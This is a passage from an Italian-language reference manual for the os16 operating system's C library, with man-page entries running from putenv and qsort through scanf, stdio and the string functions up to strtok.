Si tratta di una funzione diagnostica che non richiede argomenti e non restituisce alcunché, per visualizzare, attraverso lo standard output, lo stato dei registri della CPU, i riferimenti principali della collocazione in memoria del processo elaborativo e lo spazio ancora non utilizzato dalla pila dei dati.

Per poter dare un'informazione utile sullo spazio non ancora utilizzato dalla pila dei dati, occorre che prima di questa funzione sia stata chiamata ***heap_clear()***.

FILE SORGENTI

'`lib/sys/os16.h`' [106.12]

'`lib/sys/os16/process_info.c`' [106.12.14]

VEDERE ANCHE

cs(3) [99.12].

ds(3) [99.12].

es(3) [99.12].

ss(3) [99.12].

bp(3) [99.12].

sp(3) [99.12].

heap_clear(3) [99.57].

heap_min(3) [99.57].

99.80 os16: putc(3)

Vedere *fputc(3)* [99.37].

99.81 os16: putchar(3)

Vedere *fputc(3)* [99.37].

99.82 os16: putenv(3)

NOME

'**`putenv`**' - assegnamento di una variabile di ambiente

SINTASSI

```
#include <stdlib.h>
int putenv (const char *string);
```

DESCRIZIONE

La funzione ***putenv()*** assegna una variabile di ambiente. Se questa esiste già, va a rimpiazzare il valore assegnatole in precedenza, altrimenti la crea contestualmente.

La funzione richiede un solo parametro, costituito da una stringa in cui va specificato il nome della variabile e il contenuto da assegnargli, usando la forma '***nome*=*valore***'. Per esempio, '**`PATH=/bin:/usr/bin`**'.

VALORE RESTITUITO

Valore	Significato
0	Operazione riuscita.
−1	Operazione fallita. Va verificato l'errore indicato dalla variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Argomento non valido.
`ENOMEM`	Memoria insufficiente.

FILE SORGENTI

'`lib/stdlib.h`' [106.10]

'`lib/stdlib/environment.c`' [106.10.9]

'`lib/stdlib/putenv.c`' [106.10.14]

VEDERE ANCHE

environ(7) [102.1], *getenv(3)* [99.51], *setenv(3)* [99.94], *unsetenv(3)* [99.94].

99.83 os16: puts(3)

Vedere *fputs(3)* [99.38].

99.84 os16: qsort(3)

NOME

'**`qsort`**' - riordino di un array

SINTASSI

```
#include <stdlib.h>
void qsort (void *base, size_t nmemb, size_t size,
            int (*compare)(const void *, const void *));
```

DESCRIZIONE

La funzione ***qsort()*** riordina un array composto da ***nmemb*** elementi da ***size*** byte ognuno. Il primo argomento, ovvero il parametro ***base***, è il puntatore all'indirizzo iniziale di questo array in memoria.

Il riordino avviene comparando i vari elementi con l'ausilio di una funzione, passata tramite il suo puntatore, la quale deve ricevere due argomenti, costituiti dai puntatori agli elementi dell'array da confrontare. Tale funzione deve restituire un valore minore di zero per un confronto in cui il suo primo argomento deve essere collocato prima del secondo; un valore pari a zero se gli argomenti sono uguali ai fini del riordino; un valore maggiore di zero se il suo primo argomento va collocato dopo il secondo nel riordino.

Segue un esempio di utilizzo della funzione ***qsort()***:

```
#include <stdio.h>
#include <stdlib.h>

int confronta (const void *a, const void *b)
{
    int x = *((int *) a);
    int y = *((int *) b);
    return x - y;
}

int main (void)
{
    int a[] = {3, 1, 5, 2};

    qsort (&a[0], 4, sizeof (int), confronta);
    printf ("%d %d %d %d\n", a[0], a[1], a[2], a[3]);

    return 0;
}
```

FILE SORGENTI

'`lib/stdlib.h`' [106.10]

'`lib/stdlib/qsort.c`' [106.10.15]

99.85 os16: rand(3)

NOME

'**`rand`**' - generazione di numeri pseudo-casuali

SINTASSI

```
#include <stdlib.h>
int  rand  (void);
void srand (unsigned int seed);
```

DESCRIZIONE

La funzione ***rand()*** produce un numero intero casuale, sulla base di un seme, il quale può essere cambiato in ogni momento, con l'ausilio di ***srand()***. A ogni chiamata della funzione ***rand()***, il risultato ottenuto, viene utilizzato anche come seme per la chiamata successiva. Se inizialmente non viene assegnato alcun seme, il primo valore predefinito è pari a 1.

VALORE RESTITUITO

La funzione ***rand()*** restituisce un numero intero casuale, determinato sulla base del seme accumulato in precedenza.

FILE SORGENTI

'`lib/stdlib.h`' [106.10]

'`lib/stdlib/rand.c`' [106.10.16]

99.86 os16: readdir(3)

NOME

'**`readdir`**' - lettura di una directory

SINTASSI

```
#include <sys/types.h>
#include <dirent.h>
struct dirent *readdir (DIR *dp);
```

DESCRIZIONE

La funzione ***readdir()*** legge una voce dalla directory rappresentata da ***dp*** e restituisce il puntatore a una variabile strutturata di tipo '**`struct dirent`**', contenente le informazioni tratte dalla voce letta. La variabile strutturata in questione si trova in memoria statica e viene sovrascritta con le chiamate successive della funzione ***readdir()***.

Il tipo '**`struct dirent`**' è definito nel file di intestazione '`dirent.h`', nel modo seguente:

```
struct dirent {
    ino_t       d_ino;
    char        d_name[NAME_MAX+1];
};
```

Il membro ***d_ino*** è il numero di inode del file il cui nome appare nel membro ***d_name***. La macro-variabile *NAME_MAX* è dichiarata a sua volta nel file di intestazione '`limits.h`'. La dimensione del membro ***d_name*** è tale da permettere di includere anche il valore zero di terminazione delle stringhe.

VALORE RESTITUITO

La funzione restituisce il puntatore a una variabile strutturata di tipo '**`struct dirent`**'; se la lettura ha già raggiunto la fine della directory, oppure per qualunque altro tipo di errore, la funzione restituisce '**`NULL`**' e aggiorna eventualmente la variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EBADF`	La directory rappresentata da ***dp*** non è valida.

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/dirent.h`' [106.2]

'`lib/dirent/DIR.c`' [106.2.1]

'`lib/dirent/readdir.c`' [106.2.4]

VEDERE ANCHE

read(2) [98.29], *closedir(3)* [99.10], *opendir(3)* [99.76], *rewinddir(3)* [99.89].

99.87 os16: realloc(3)

Vedere *malloc(3)* [99.66].

99.88 os16: rewind(3)

NOME

'**`rewind`**' - riposizionamento all'inizio dell'indice di accesso a un flusso di file

SINTASSI

```
#include <stdio.h>
void rewind (FILE *fp);
```

DESCRIZIONE

La funzione ***rewind()*** azzera l'indice della posizione interna del flusso di file specificato con il parametro ***fp***; inoltre azzera anche l'indicatore di errore dello stesso flusso. In pratica si ottiene la stessa cosa di:

```
(void) fseek (fp, 0L, SEEK_SET);
clearerr (fp);
```

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/FILE.c`' [106.9.1]

'`lib/stdio/rewind.c`' [106.9.29]

VEDERE ANCHE

lseek(2) [98.24], *fgetpos(3)* [99.32], *fsetpos(3)* [99.32], *ftell(3)* [99.46], *fseek(3)* [99.43], *rewind(3)* [99.88].

99.89 os16: rewinddir(3)

NOME

'**rewinddir**' - riposizionamento all'inizio del riferimento per l'accesso a una directory

SINTASSI

```
#include <sys/types.h>
#include <dirent.h>
void rewinddir (DIR *dp);
```

DESCRIZIONE

La funzione ***rewinddir()*** riposiziona i riferimenti per l'accesso alla directory indicata, in modo che la prossima lettura o scrittura avvenga dalla prima posizione.

VALORE RESTITUITO

La funzione non restituisce alcunché e non si presenta nemmeno la possibilità di segnalare errori attraverso la variabile ***errno***.

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/dirent.h`' [106.2]

'`lib/dirent/DIR.c`' [106.2.1]

'`lib/dirent/rewinddir.c`' [106.2.5]

VEDERE ANCHE

rewind(3) [99.88], *closedir(3)* [99.10], *opendir(3)* [99.76], *rewinddir(3)* [99.86].

99.90 os16: scanf(3)

NOME

'**scanf**', '**fscanf**', '**sscanf**' - interpretazione dell'input e conversione

SINTASSI

```
#include <stdio.h>
int scanf  (const char *restrict format, ...);
int fscanf (FILE *restrict fp, const char *restrict format, ...);
int sscanf (char *restrict string, const char *restrict format, ...);
```

DESCRIZIONE

Le funzioni del gruppo '...**scanf()**' hanno in comune lo scopo di interpretare dei dati, forniti in forma di stringa, convertendoli opportunamente.

I dati in ingresso sono costituiti da una sequenza di caratteri, la quale viene fornita tramite lo standard input per ***scanf()***, tramite il flusso di file ***fp*** per ***fscanf()***, oppure tramite la stringa ***string*** per ***sscanf()***. L'interpretazione dei dati in ingresso viene guidata da una stringa di formato, costituita dal parametro ***format***, per le tre funzioni. La stringa di formato contiene degli ***specificatori di conversione***, con cui si determina il tipo degli argomenti variabili che non sono esplicitati nel prototipo delle funzioni.

Per ogni specificatore di conversione contenuto nella stringa di formato, deve esistere un argomento, successivo al parametro ***format***, costituito dal puntatore a una variabile di tipo conforme a quanto indicato dallo specificatore relativo. La conversione per quello specificatore, comporta la memorizzazione del risultato in memoria, in corrispondenza del puntatore relativo. Si osservi l'esempio seguente:

```
int valore;
…
scanf ("%i", &valore);
```

In questo modo si attende l'inserimento, attraverso lo standard input, di un numero intero, da convertire e assegnare così alla variabile ***valore***; Infatti, lo specificatore di conversione '**`%i`**', consente di interpretare un numero intero.

Gli specificatori di conversione devono rispettare la sintassi seguente per la libreria di os16:

```
%[*] [n_ampiezza] [hh|h|l|j|z|t] tipo
```

Come si può vedere, all'inizio può apparire un asterisco, il cui scopo è quello di annullare l'assegnamento del valore a una variabile. In pratica, con l'asterisco il dato corrispondente allo specificatore viene interpretato, ma poi non viene salvato.

Successivamente può apparire un numero che rappresenta l'ampiezza del dato da interpretare, in byte, il cui scopo è quello di limitare la lettura fino a un certo carattere.

Dopo può apparire una sigla, composta da una o più lettere, il cui scopo è quello di modificare la dimensione predefinita della variabile di destinazione. In altri termini, senza questo modificatore si intende che la variabile ricevente debba essere di una certa grandezza, ma con l'aggiunta del «modificatore di lunghezza» si precisa invece qualcosa di diverso. In pratica, il modificatore di lunghezza usato da queste funzioni è equivalente a quello delle funzioni di composizione dell'output.

Al termine dello specificatore di conversione appare una lettera che dichiara come deve essere interpretato il dato in ingresso e, in mancanza del modificatore di lunghezza, indica anche la dimensione della variabile ricevente.

Tipi di conversione.

Simbolo	Tipo di argomento	Conversione applicata
`%…d`	`int *`	Numero intero con segno rappresentato in base dieci.
`%…i`	`int *`	Numero intero con segno rappresentare in base dieci o in base otto, avendo come prefisso uno zero, oppure in base sedici, avendo come prefisso ‘**`0x`**’ o ‘**`0X`**’.
`%…u`	`unsigned int *`	Numero intero senza segno rappresentato in base dieci.
`%…o`	`unsigned int *`	Numero intero senza segno rappresentato in ottale (con o senza lo zero iniziale).

Simbolo	Tipo di argomento	Conversione applicata
`%…x`	`unsigned int *`	Numero intero senza segno rappresentato in esadecimale (con o senza il prefisso ‘**`0x`**’ o ‘**`0X`**’).
`%…c`	`char *`	Interpreta un solo carattere, o più caratteri se si specifica l’ampiezza. Nella lettura contano anche gli spazi o qualunque altro carattere e non viene aggiunto il carattere nullo di terminazione.
`%…s`	`char *`	Interpreta una sequenza di caratteri che non siano spazi, aggiungendo alla fine il carattere nullo di terminazione.
`%p`	`void *`	Interpreta il valore di un puntatore che sia rappresentato nello stesso modo in cui farebbe la funzione ‘**`printf("%p",`** ***puntatore*****`)`**’.

Simbolo	Tipo di argomento	Conversione applicata
`%n`	`int *`	Questo specificatore non esegue alcuna conversione e si limita a memorizzare la quantità di caratteri (‘**`char`**’) letti fino a quel punto.
`%…[…]`	`char *`	Interpreta una stringa non vuota contenente solo i caratteri elencati tra parentesi quadre, aggiungendo alla fine il carattere nullo di terminazione. Se tra i caratteri si cerca anche la parentesi quadra chiusa, questa va messa all’inizio dell’elenco: ‘**`%…[]…]`**’.
`%…[^…]`	`char *`	Interpreta una stringa non vuota contenente solo caratteri diversi da quelli elencati tra parentesi quadre, aggiungendo alla fine il carattere nullo di terminazione. Se tra i caratteri da escludere si vuole indicare anche la parentesi quadra chiusa, questa va messa all’inizio dell’elenco: ‘**`%…[^]…]`**’.
`%%`		Interpreta un carattere di percentuale tra i dati in ingresso, ma senza memorizzare alcunché.

Modificatori della lunghezza del dato in uscita.

Simbolo	Tipo	Simbolo	Tipo

`%…hhd`
`%…hhi`
	`signed char *`	`%…hhu`
		`%…hho`
		`%…hhx`
		`%…hhn`
			`unsigned char *`

`%…hd`
`%…hi`
	`short int *`	`%…hu`
		`%…ho`
		`%…hx`
		`%…hn`
			`unsigned short int *`

`%…ld`
`%…li`
	`long int *`	`%…lu`
		`%…lo`
		`%…lx`
		`%…ln`
			`unsigned long int *`

Simbolo	Tipo	Simbolo	Tipo

`%…jd`
`%…ji`
	`intmax_t *`	`%…ju`
		`%…jo`
		`%…jx`
		`%…jn`
			`uintmax_t *`

`%…zd`
`%…zi`
	`size_t *`	`%…zu`
		`%…zo`
		`%…zx`
		`%…zn`
			`size_t *`

`%…td`
`%…ti`
	`ptrdiff_t *`	`%…tu`
		`%…to`
		`%…tx`
		`%…tn`
			`ptrdiff_t *`

La stringa di conversione è composta da ***direttive***, ognuna delle quali è formata da: uno o più spazi (spazi veri e propri o caratteri di tabulazione orizzontale); un carattere diverso da '`%`' e diverso dai caratteri che rappresentano spazi, oppure uno specificatore di conversione.

[*spazi*] *carattere* | %...

Dalla sequenza di caratteri che costituisce i dati in ingresso da interpretare, vengono eliminati automaticamente gli spazi iniziali e finali (tutto ciò che si può considerare spazio, anche il codice di interruzione di riga), quando all'inizio o alla fine non ci sono corrispondenze con specificatori di conversione che possono interpretarli.

Quando la direttiva di interpretazione inizia con uno o più spazi orizzontali, significa che si vogliono ignorare gli spazi a partire dalla posizione corrente nella lettura dei dati in ingresso; inoltre, la presenza di un carattere che non fa parte di uno specificatore di conversione indica che quello stesso carattere deve essere incontrato nell'interpretazione dei dati in ingresso, altrimenti il procedimento di lettura e valutazione si deve interrompere. Se due specificatori di conversione appaiono adiacenti, i dati in ingresso corrispondenti possono essere separati da spazi orizzontali o da spazi verticali (il codice di interruzione di riga).

VALORE RESTITUITO

Le funzioni restituiscono la quantità di elementi in ingresso interpretati e assegnati correttamente: una quantità inferiore al previsto indica pertanto un errore. Se le funzioni restituiscono il valore '**`EOF`**', si tratta di un errore, dovuto eventualmente a un problema di interpretazione del formato o a un problema di accesso al flusso di file da cui deve provenire l'input.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione di accesso non consentita.
`EACCES`	Accesso non consentito.
`EBADF`	Il descrittore del file a cui si riferisce il flusso, non è valido.
`ERANGE`	Il risultato della conversione di un intero, non può essere memorizzato nel tipo di variabile a cui si riferisce lo specificatore di conversione.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/fscanf.c`' [106.9.17]

'`lib/stdio/scanf.c`' [106.9.30]

'`lib/stdio/sscanf.c`' [106.9.35]

VEDERE ANCHE

vfscanf(3) [99.129], *vscanf(3)* [99.129], *vsscanf(3)* [99.129], *printf(3)* [99.78].

99.91 os16: seg_d(3)

NOME

'**seg_d**', '**seg_i**' - collocazione del processo in memoria

SINTASSI

```
#include <sys/os16.h>
unsigned int seg_d (void);
unsigned int seg_i (void);
```

DESCRIZIONE

Le funzioni elencate nel quadro sintattico, sono in realtà delle macro-istruzioni, chiamanti funzioni con nomi analoghi, ma preceduti da un trattino basso (***_seg_d()*** e ***_seg_i()***), per interrogare, rispettivamente, lo stato del registro ***DS*** e ***CS***. Questi due registri indicano, rispettivamente, la collocazione dell'area dati e dell'area codice del processo in corso. Eventualmente, per conoscere l'indirizzo efficace di memoria corrispondente, occorre moltiplicare questi valori per 16.

FILE SORGENTI

'`lib/sys/os16.h`' [106.12]

'`lib/sys/os16/_seg_i.s`' [106.12.6]

'`lib/sys/os16/_seg_d.s`' [106.12.5]

VEDERE ANCHE

cs(3) [99.12].

ds(3) [99.12].

es(3) [99.12].

ss(3) [99.12].

bp(3) [99.12].

sp(3) [99.12].

99.92 os16: seg_i(3)

Vedere *seg_d(3)* [99.91].

99.93 os16: setbuf(3)

NOME

'**setbuf**', '**setvbuf**' - modifica della memoria tampone per i flussi di file

SINTASSI

```
#include <stdio.h>
void setbuf (FILE *restrict fp, char *restrict buffer);
int setvbuf (FILE *restrict fp, char *restrict buffer, int buf_mode,
             size_t size);
```

DESCRIZIONE

Le funzioni ***setbuf()*** e ***setvbuf()*** della libreria di os16, non fanno alcunché, perché os16 non gestisce una memoria tampone per i flussi di file.

VALORE RESTITUITO

La funzione ***setvbuf()*** restituisce, in tutti i casi, il valore zero.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/setbuf.c`' [106.9.31]

'`lib/stdio/setvbuf.c`' [106.9.32]

VEDERE ANCHE

fflush(3) [99.30].

99.94 os16: setenv(3)

NOME

'**`setenv`**', '**`unsetenv`**' - assegnamento o cancellazione di una variabile di ambiente

SINTASSI

```
#include <stdlib.h>
int setenv   (const char *name, const char *value, int overwrite);
int unsetenv (const char *name);
```

DESCRIZIONE

La funzione ***setenv()*** crea o assegna un valore a una variabile di ambiente. Se questa variabile esiste già, la modifica del valore assegnatole può avvenire soltanto se l'argomento corrispondente al parametro ***overwrite*** risulta essere diverso da zero; in caso contrario, la modifica non ha luogo.

La funzione ***unsetenv()*** si limita a cancellare la variabile di ambiente specificata come argomento.

VALORE RESTITUITO

Valore	Significato
0	Operazione riuscita.
−1	Operazione fallita. Va verificato l'errore indicato dalla variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Argomento non valido.
`ENOMEM`	Memoria insufficiente.

FILE SORGENTI

‘`lib/stdlib.h`’ [106.10]

‘`applic/crt0.s`’ [107.1.9]

‘`lib/stdlib/environment.c`’ [106.10.9]

‘`lib/stdlib/setenv.c`’ [106.10.17]

‘`lib/stdlib/unsetenv.c`’ [106.10.20]

VEDERE ANCHE

environ(7) [102.1], *getenv(3)* [99.51], *putenv(3)* [99.82].

99.95 os16: setpwent(3)

Vedere *getpwent(3)* [99.53].

99.96 os16: setvbuf(3)

Vedere *setbuf(3)* [99.93].

99.97 os16: snprintf(3)

Vedere *printf(3)* [99.78].

99.98 os16: sp(3)

Vedere *cs(3)* [99.12].

99.99 os16: sprintf(3)

Vedere *printf(3)* [99.78].

99.100 os16: srand(3)

Vedere *rand(3)* [99.85].

99.101 os16: ss(3)

Vedere *cs(3)* [99.12].

99.102 os16: sscanf(3)

Vedere *scanf(3)* [99.90].

99.103 os16: stdio(3)

NOME

'**stdio**' - libreria per la gestione dei file in forma di flussi di file (*stream*)

SINTASSI

```
#include <stdio.h>
```

DESCRIZIONE

Le funzioni di libreria che fanno capo al file di intestazione 'stdio.h', consentono di gestire i file in forma di «flussi», rappresentati da puntatori al tipo '**FILE**'. Questa gestione si sovrappone a quella dei file in forma di «descrittori», la quale avviene tramite chiamate di sistema. Lo scopo della sovrapposizione dovrebbe essere quello di gestire i file con l'ausilio di una memoria tampone, cosa che però la libreria di os16 non fornisce.

Nella libreria di os16, il tipo '**FILE ***' è un puntatore a una variabile strutturata che contiene solo tre informazioni: il numero del descrittore del file a cui il flusso si associa; lo stato di errore; lo stato di raggiungimento della fine del file.

```
typedef struct {
    int             fdn;        // File descriptor number.
    char            error;      // Error indicator.
    char            eof;        // End of file indicator.
} FILE;
```

Le variabili strutturate necessarie per questa gestione, sono raccolte in un array, dichiarato nel file 'lib/stdio/FILE.c', con il nome ***_stream[]***, dove per il descrittore di file ***n***, si associano sempre i dati di ***_stream[n]***.

```
FILE _stream[FOPEN_MAX];
```

Così come sono previsti tre descrittori (zero, uno e due) per la gestione di standard input, standard output e standard error, tutti i processi inizializzano l'array ***_stream[]*** con l'abbinamento a tali descrittori, per i primi tre flussi.

```
void
_stdio_stream_setup (void)
{
    _stream[0].fdn   = 0;
    _stream[0].error = 0;
    _stream[0].eof   = 0;

    _stream[1].fdn   = 1;
    _stream[1].error = 0;
    _stream[1].eof   = 0;

    _stream[2].fdn   = 2;
    _stream[2].error = 0;
    _stream[2].eof   = 0;
}
```

Ciò avviene attraverso il codice contenuto nel file '`crt0.s`', dove si chiama la funzione che provvede a tale inizializzazione, contenuta nel file '`lib/stdio/FILE.c`'. Per fare riferimento ai flussi predefiniti, si usano i nomi '**`stdin`**', '**`stdout`**' e '**`stderr`**', i quali sono dichiarati nel file '`stdio.h`', come puntatori ai primi tre elementi dell'array ***_stream[]***:

```
#define stdin   (&_stream[0])
#define stdout  (&_stream[1])
#define stderr  (&_stream[2])
```

FILE SORGENTI

'`lib/sys/types.h`' [106.14]

'`lib/stdio.h`' [106.9]

'`lib/stdio/FILE.c`' [106.9.1]

'`applic/crt0.s`' [107.1.9]

VEDERE ANCHE

close(2) [98.7], *open(2)* [98.28], *read(2)* [98.29], *write(2)* [98.44].

99.104 os16: strcat(3)

NOME

'**`strcat`**', '**`strncat`**' - concatenamento di una stringa a un'altra già esistente

SINTASSI

```
#include <string.h>
char *strcat  (char *restrict dst, const char *restrict org);
char *strncat (char *restrict dst, const char *restrict org,
               size_t n);
```

DESCRIZIONE

Le funzioni ***strcat()*** e ***strncat()*** copiano la stringa di origine ***org***, aggiungendola alla stringa di destinazione ***dst***, nel senso che la scrittura avviene a partire dal codice di terminazione '`\0`' che viene così sovrascritto. Al termine della copia, viene aggiunto nuovamente il codice di terminazione di stringa '`\0`', nella nuova posizione conclusiva.

Nel caso particolare di ***strncat()***, la copia si arresta al massimo dopo il trasferimento di ***n*** caratteri. Pertanto, la stringa di origine per ***strncat()*** potrebbe anche non essere terminata correttamente, se raggiunge o supera la dimensione di ***n*** caratteri. In ogni caso, nella destinazione viene aggiunto il codice nullo di terminazione di stringa, dopo la copia del carattere ***n***-esimo.

VALORE RESTITUITO

Le due funzioni restituiscono ***dst***.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/strcat.c`' [106.11.7]

'`lib/string/strncat.c`' [106.11.16]

VEDERE ANCHE

memccpy(3) [99.67], *memcpy(3)* [99.70], *strcpy(3)* [99.108], *strncpy(3)* [99.108].

99.105 os16: strchr(3)

NOME

'**`strchr`**', '**`strrchr`**' - ricerca di un carattere all'interno di una stringa

SINTASSI

```
#include <string.h>
char *strchr  (const char *string, int c);
char *strrchr (const char *string, int c);
```

DESCRIZIONE

Le funzioni ***strchr()*** e ***strrchr()*** scandiscono la stringa ***string*** alla ricerca di un carattere uguale al valore di ***c***. La funzione ***strchr()*** scandisce a partire da «sinistra», ovvero ricerca la prima corrispondenza con il carattere ***c***, mentre la funzione ***strrchr()*** cerca l'ultima corrispondenza con il carattere ***c***, pertanto è come se scandisse da «destra».

VALORE RESTITUITO

Se le due funzioni trovano il carattere che cercano, ne restituiscono il puntatore, altrimenti restituiscono '**`NULL`**'.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/strchr.c`' [106.11.8]

'`lib/string/strrchr.c`' [106.11.20]

VEDERE ANCHE

memchr(3) [99.68], *strlen(3)* [99.112], *strpbrk(3)* [99.116], *strspn(3)* [99.118].

99.106 os16: strcmp(3)

NOME

'**strcmp**', '**strncmp**' - confronto di due stringhe

SINTASSI

```
#include <string.h>
int strcmp  (const char *string1, const char *string2);
int strncmp (const char *string1, const char *string2, size_t n);
int strcoll (const char *string1, const char *string2);
```

DESCRIZIONE

Le funzioni ***strcmp()*** e ***strncmp()*** confrontano due stringhe, nel secondo caso, il confronto avviene al massimo fino al ***n***-esimo carattere.

La funzione ***strcoll()*** dovrebbe eseguire il confronto delle due stringhe tenendo in considerazione la configurazione locale. Tuttavia, os16 non è in grado di gestire le configurazioni locali, pertanto questa funzione coincide esattamente con ***strcmp()***.

VALORE RESTITUITO

Valore	Esito del confronto.
−1	***string1* < *string2***
0	***string1* == *string2***
+1	***string1* > *string2***

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/strcmp.c`' [106.11.9]

'`lib/string/strncmp.c`' [106.11.17]

'`lib/string/strcoll.c`' [106.11.10]

VEDERE ANCHE

memcmp(3) [99.69].

99.107 os16: strcoll(3)

Vedere *strcmp(3)* [99.106].

99.108 os16: strcpy(3)

NOME

'**strcpy**', '**strncpy**' - copia di una stringa

SINTASSI

```
#include <string.h>
char *strcpy  (char *restrict dst, const char *restrict org)
char *strncpy (char *restrict dst, const char *restrict org,
               size_t n);
```

DESCRIZIONE

Le funzioni ***strcpy()*** e ***strncpy()***, copiano la stringa ***org***, completa di codice nullo di terminazione, nella destinazione ***dst***. Eventualmente, nel caso di ***strncpy()***, la copia non supera i primi ***n*** caratteri, con l'aggravante che in tal caso, se nei primi ***n*** caratteri non c'è il codice nullo di terminazione delle stringhe, nella destinazione ***dst*** si ottiene una stringa non terminata.

VALORE RESTITUITO

Le funzioni restituiscono ***dst***.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/strcpy.c`' [106.11.11]

'`lib/string/strncpy.c`' [106.11.18]

VEDERE ANCHE

memccpy(3) [99.67], *memcpy(3)* [99.70], *memmove(3)* [99.71].

99.109 os16: strcspn(3)

Vedere *strspn(3)* [99.118].

99.110 os16: strdup(3)

NOME

'**strdup**' - duplicazione di una stringa

SINTASSI

```
#include <string.h>
char *strdup  (const char *string);
```

DESCRIZIONE

La funzione ***strdup()***, alloca dinamicamente una quantità di memoria, necessaria a copiare la stringa ***string***, quindi esegue tale copia e restituisce il puntatore alla nuova stringa allocata. Tale puntatore può essere usato successivamente per liberare la memoria, con l'ausilio della funzione ***free()***.

VALORE RESTITUITO

La funzione restituisce il puntatore alla nuova stringa ottenuta dalla copia, oppure '**`NULL`**' nel caso non fosse possibile allocare la memoria necessaria.

ERRORI

Valore di ***errno***	Significato
`ENOMEM`	Memoria insufficiente.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/strdup.c`' [106.11.13]

VEDERE ANCHE

free(3) [99.66], *malloc(3)* [99.66], *realloc(3)* [99.66].

99.111 os16: strerror(3)

NOME

'**`strerror`**' - descrizione di un errore in forma di stringa

SINTASSI

```
#include <string.h>
char *strerror (int errnum);
```

DESCRIZIONE

La funzione ***strerror()*** interpreta il valore ***errnum*** come un errore, di quelli che può rappresentare la variabile ***errno*** del file '`errno.h`'.

VALORE RESTITUITO

La funzione restituisce il puntatore a una stringa contenente la descrizione dell'errore, oppure soltanto '**`Unknown error`**', se l'argomento ricevuto non è traducibile.

FILE SORGENTI

'`lib/errno.h`' [106.3]

'`lib/string.h`' [106.11]

'`lib/string/strerror.c`' [106.11.14]

VEDERE ANCHE

errno(3) [99.18], *perror(3)* [99.77].

99.112 os16: strlen(3)

NOME

'**strlen**' - lunghezza di una stringa

SINTASSI

```
#include <string.h>
size_t strlen (const char *string);
```

DESCRIZIONE

La funzione ***strlen()*** calcola la lunghezza della stringa, ovvero la quantità di caratteri che la compone, escludendo il codice nullo di conclusione.

VALORE RESTITUITO

La funzione restituisce la quantità di caratteri che compone la stringa, escludendo il codice '**\0**' finale.

FILE SORGENTI

'lib/string.h' [106.11]

'lib/string/strlen.c' [106.11.15]

99.113 os16: strncat(3)

Vedere *strcat(3)* [99.104].

99.114 os16: strncmp(3)

Vedere *strcmp(3)* [99.106].

99.115 os16: strncpy(3)

Vedere *strcpy(3)* [99.108].

99.116 os16: strpbrk(3)

NOME

'**strpbrk**' - scansione di una stringa alla ricerca di un carattere

SINTASSI

```
#include <string.h>
char *strpbrk (const char *string, const char *accept);
```

DESCRIZIONE

La funzione ***strpbrk()*** cerca il primo carattere, nella stringa ***string***, che corrisponda a uno di quelli contenuti nella stringa ***accept***.

VALORE RESTITUITO

Restituisce il puntatore al primo carattere che, nella stringa ***string*** corrisponde a uno di quelli contenuti nella stringa ***accept***. In mancanza di alcuna corrispondenza, restituisce '**NULL**'.

FILE SORGENTI

'lib/string.h' [106.11]

'lib/string/strpbrk.c' [106.11.19]

VEDERE ANCHE

memchr(3) [99.68], *strchr(3)* [99.105], *strstr(3)* [99.119], *strtok(3)* [99.120].

99.117 os16: strrchr(3)

Vedere *strchr(3)* [99.105].

99.118 os16: strspn(3)

NOME

'**strspn**', '**strcspn**' - scansione di una stringa, limitatamente a un certo insieme di caratteri

SINTASSI

```
#include <string.h>
size_t strspn  (const char *string, const char *accept);
size_t strcspn (const char *string, const char *reject);
```

DESCRIZIONE

La funzione ***strspn()*** scandisce la stringa ***string***, calcolando la lunghezza di questa che contiene, a partire dall'inizio, soltanto caratteri che si trovano nella stringa ***accept***.

La funzione ***strcspn()*** scandisce la stringa ***string***, calcolando la lunghezza di questa che contiene, a partire dall'inizio, soltanto caratteri che non si trovano nella stringa ***reject***.

VALORE RESTITUITO

La funzione ***strspn()*** restituisce la lunghezza della stringa che contiene soltanto caratteri contenuti in ***accept***.

La funzione ***strcspn()*** restituisce la lunghezza della stringa che contiene soltanto caratteri che non sono contenuti in ***reject***.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/strspn.c`' [106.11.21]

'`lib/string/strcspn.c`' [106.11.12]

VEDERE ANCHE

memchr(3) [99.68], *strchr(3)* [99.105], *strpbrk(3)* [99.116], *strstr(3)* [99.119], *strtok(3)* [99.120].

99.119 os16: strstr(3)

NOME

'**`strstr`**' - ricerca di una sottostringa

SINTASSI

```
#include <string.h>
char *strstr (const char *string, const char *substring);
```

DESCRIZIONE

La funzione ***strstr()*** scandisce la stringa ***string***, alla ricerca della prima corrispondenza con la stringa ***substring***, restituendo eventualmente il puntatore all'inizio di tale corrispondenza.

VALORE RESTITUITO

Se la ricerca termina con successo, viene restituito il puntatore all'inizio della sottostringa contenuta in ***string***; diversamente viene restituito il puntatore nullo '**`NULL`**'.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/strstr.c`' [106.11.22]

VEDERE ANCHE

memchr(3) [99.68], *strchr(3)* [99.105], *strpbrk(3)* [99.116], *strtok(3)* [99.120].

99.120 os16: strtok(3)

NOME

'**strtok**' - *string token*, ovvero estrazione di pezzi da una stringa

SINTASSI

```
#include <string.h>
char *strtok (char *restrict string, const char *restrict delim);
```

DESCRIZIONE

La funzione ***strtok()*** serve a suddividere una stringa in unità, definite *token*, specificando un elenco di caratteri da intendere come delimitatori, in una seconda stringa. La funzione va usata in fasi successive, fornendo solo inizialmente la stringa da suddividere che continua poi a essere utilizzata se al suo posto viene fornito il puntatore nullo. La funzione restituisce, di volta in volta, il puntatore alla sottostringa contenente l'unità individuata, oppure il puntatore nullo, se non può trovarla.

